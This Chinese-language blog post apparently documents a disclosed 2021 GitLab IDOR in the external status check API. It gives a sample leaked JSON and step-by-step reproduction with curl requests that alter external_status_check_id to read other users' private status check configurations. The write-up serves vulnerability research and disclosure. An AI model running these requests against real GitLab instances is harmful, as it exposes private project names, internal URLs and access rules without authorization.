gitlab漏洞系列-“外部狀態(tài)檢查”API泄漏關(guān)于實例的狀態(tài)檢查的數(shù)據(jù)
gitlab漏洞系列-“外部狀態(tài)檢查”API泄漏關(guān)于實例的狀態(tài)檢查的數(shù)據(jù)
聲明:文章中涉及的程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,讀者將其信息做其他用途,由用戶承擔(dān)全部法律及連帶責(zé)任,文章作者不承擔(dān)任何法律及連帶責(zé)任。
背景
這個漏洞是joaxcar小哥在2021年10月份提交的:
用于從外部狀態(tài)檢查返回批準(zhǔn)的API接口包含一個IDOR,該IDOR允許用戶列出關(guān)于GitLab實例上所有外部狀態(tài)檢查的信息。該功能是一個終極版功能(注:終極版一般都是付費的),但可以在GitLab.com上試用。所以攻擊的是可能是一個常規(guī)帳戶。
當(dāng)配置了外部狀態(tài)檢查時,項目將向指定的端點發(fā)送關(guān)于MRs的信息。然后可以配置這個端點來響應(yīng)“通過”狀態(tài)檢查的請求。文檔詳見: https://docs.gitlab.com/ee/user/project/merge_requests/status_checks.html;這個API的接口是:
POST /projects/:id/merge_requests/:merge_request_iid/status_check_responses
關(guān)鍵參數(shù)為sha和external_status_check_id。這個參數(shù)告訴GitLab請求的目標(biāo)是哪個外部狀態(tài)檢查。從GitLab返回的是JSON,包含關(guān)于MR的信息,但也包含關(guān)于狀態(tài)檢查配置的信息。通過修改發(fā)送的ID,用戶可以獲得實例上任何狀態(tài)檢查的信息(甚至來自Private的項目)。
關(guān)于狀態(tài)檢查的泄露信息可能包含:
私有項目名稱和ID
狀態(tài)檢查名稱
私有地址到外部狀態(tài)檢查工具
狀態(tài)檢查所連接的受保護分支的名稱、ID
受保護分支的訪問規(guī)則,如果配置了,還可以訪問允許訪問的用戶名
"external_status_check": {
"id": 10,
"name": "Name of status check",
"project_id": 33,
"external_url": "https://victim.service.com",
"protected_branches": [
{
"id": 24,
"name": "Name of protected branch",
"push_access_levels": [
{
"access_level": 40,
"access_level_description": "Name of user with access to protected branch",
"user_id": 2,
"group_id": null
},
{
"access_level": 30,
"access_level_description": "Developers + Maintainers",
"user_id": null,
"group_id": null
}
],
"merge_access_levels": [
{
"access_level": 30,
"access_level_description": "Developers + Maintainers",
"user_id": null,
"group_id": null
},
{
"access_level": 40,
"access_level_description": "Name of user with access",
"user_id": 2,
"group_id": null
}
],
"allow_force_push": true,
"unprotect_access_levels": [],
"code_owner_approval_required": true
}
復(fù)現(xiàn)步驟
1.創(chuàng)建兩個用戶:受害用戶victim01和攻擊用戶attacker01
2.以victim01的身份登錄,并在https://gitlab.domain.com/projects/new#blank_project上創(chuàng)建一個名為victim_project的新私有項目
3.轉(zhuǎn)到項目設(shè)置https://gitlab.domain.com/victim01/victim_project/edit,在“General”下展開“Merge request”。向下滾動到“狀態(tài)檢查”,然后單擊“新建”
4.將狀態(tài)檢查命名為“受害者狀態(tài)檢查”,并輸入API端點https://victim.hidden.com。
5.點擊保存
6.登出并以attacker01登陸
7.再次執(zhí)行步驟2到5,但將項目命名為attacker_project并進行狀態(tài)檢查。記下項目的ID。我們稱之為attackid
8.在 https://gitlab.domain.com/attacker01/attacker_project/-/branches/new創(chuàng)建分支attacker_project
9.當(dāng)分支被創(chuàng)建時,點擊Create new merge request。將MR隨意命名并單擊創(chuàng)建。
10.訪問https://gitlab.domain.com/-/profile/personal_access_tokens并為attacker01創(chuàng)建一個訪問令牌,我們將其稱為TOKEN
11.打開終端并發(fā)出此請求(這里的SHA只是“a”,我們將得到正確的響應(yīng))
curl --request POST \
--url 'https://gitlab.domain.com/api/v4/projects/<ATTACKID>/merge_requests/1/status_check_responses?sha=a&external_status_check_id=2' \
--header 'Authorization: Bearer <TOKEN>'
12.這個初始請求將返回一個錯誤,主要是返回正確的sha是< sha >這樣的信息
13.現(xiàn)在發(fā)送正確的SHA:
curl --request POST \
--url 'https://gitlab.domain.com/api/v4/projects/<ATTACKID>/merge_requests/1/status_check_responses?sha=<SHA>&external_status_check_id=2' \
--header 'Authorization: Bearer <TOKEN>'
14.我們將得到一個響應(yīng),其中包含關(guān)于MR的信息,最后是關(guān)于狀態(tài)檢查的信息
15.現(xiàn)在再次發(fā)送相同的請求,但將狀態(tài)檢查id更改為1
curl --request POST \
--url 'https://gitlab.domain.com/api/v4/projects/<ATTACKID>/merge_requests/1/status_check_responses?sha=<SHA>&external_status_check_id=1' \
--header 'Authorization: Bearer <TOKEN>'
16.同樣的MR信息會被返回,但是最后會有來自victim_project的關(guān)于私有狀態(tài)檢查的信息
作者:richardo1o1
歡迎關(guān)注微信公眾號 :迪哥講事